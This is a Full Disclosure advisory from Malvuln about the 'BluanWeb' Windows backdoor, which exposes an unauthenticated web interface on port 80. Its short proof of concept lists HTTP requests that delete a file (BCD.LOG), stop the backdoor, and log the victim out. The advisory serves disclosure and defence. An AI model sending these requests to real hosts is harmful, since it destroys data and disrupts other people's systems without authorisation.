full-disclosure - [FD] Backdoor.Win32.BluanWeb / Unauthenticated Remote Command Execution

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Message-ID: <CAAHK0WRbdB9+ysWjn5FuevAbvaosXXOu_X4dd0SbT1J5Xr25hg@mail.gmail.com>
Date: Thu, 3 Mar 2022 21:00:24 -0500
From: malvuln <malvuln13@...il.com>
To: fulldisclosure@...lists.org
Subject: [FD] Backdoor.Win32.BluanWeb / Unauthenticated Remote Command
	Execution

Discovery / credits: Malvuln - malvuln.com (c) 2022
Original source:
https://malvuln.com/advisory/30903ccbc6747c0da5a2775884b78def_C.txt
Contact: malvuln13@...il.com
Media: twitter.com/malvuln

Threat: Backdoor.Win32.BluanWeb
Vulnerability: Unauthenticated Remote Command Execution
Description: The malware "BlueAngel For WebServer" by "leonshoh" listens on
TCP port 80. The malware provides an HTML web-interface that exposes the
entire system and creates HTML page with links to delete, logoff or exit
the system. Third-party attackers who can reach an infected host can make
HTTP GET request to execute commands made available by the backdoor.

[固定磁盘C]
卷标名：
文件名长度 255
文件系统  NTFS
磁盘大小 3625.000000 MB
剩余空间 3284.000000 MB
[光盘D]

[Fixed Disk C]
Volume label name
Filename length  255
File system  NTFS
Disk size  3625.000000 MB
Free space  3284.000000 MB
[Disc D]

Family:BluanWeb
Type: PE32
MD5: 30903ccbc6747c0da5a2775884b78def
Vuln ID: MVID-2022-0506
Disclosure: 03/03/2022

Exploit/PoC:
1) delete any file
http://x.x.x.x/unlink_C:/Boot/BCD.LOG

2) DOS backdoor
curl http://x.x.x.x/exit

3) sign out the victim machine
curl http://x.x.x.x/logoff

Disclaimer: The information contained within this advisory is supplied
"as-is" with no warranties or guarantees of fitness of use or otherwise.
Permission is hereby granted for the redistribution of this advisory,
provided that it is not altered except by reformatting it, and that due
credit is given. Permission is explicitly given for insertion in
vulnerability databases and similar, provided that due credit is given to
the author. The author is not responsible for any misuse of the information
contained herein and accepts no responsibility for any damage caused by the
use or misuse of this information. The author prohibits any malicious use
of security related information or exploits by the author or elsewhere. Do
not attempt to download Malware samples. The author of this website takes
no responsibility for any kind of damages occurring from improper Malware
handling or the downloading of ANY Malware mentioned on this website or
elsewhere. All content Copyright (c) Malvuln.com (TM).

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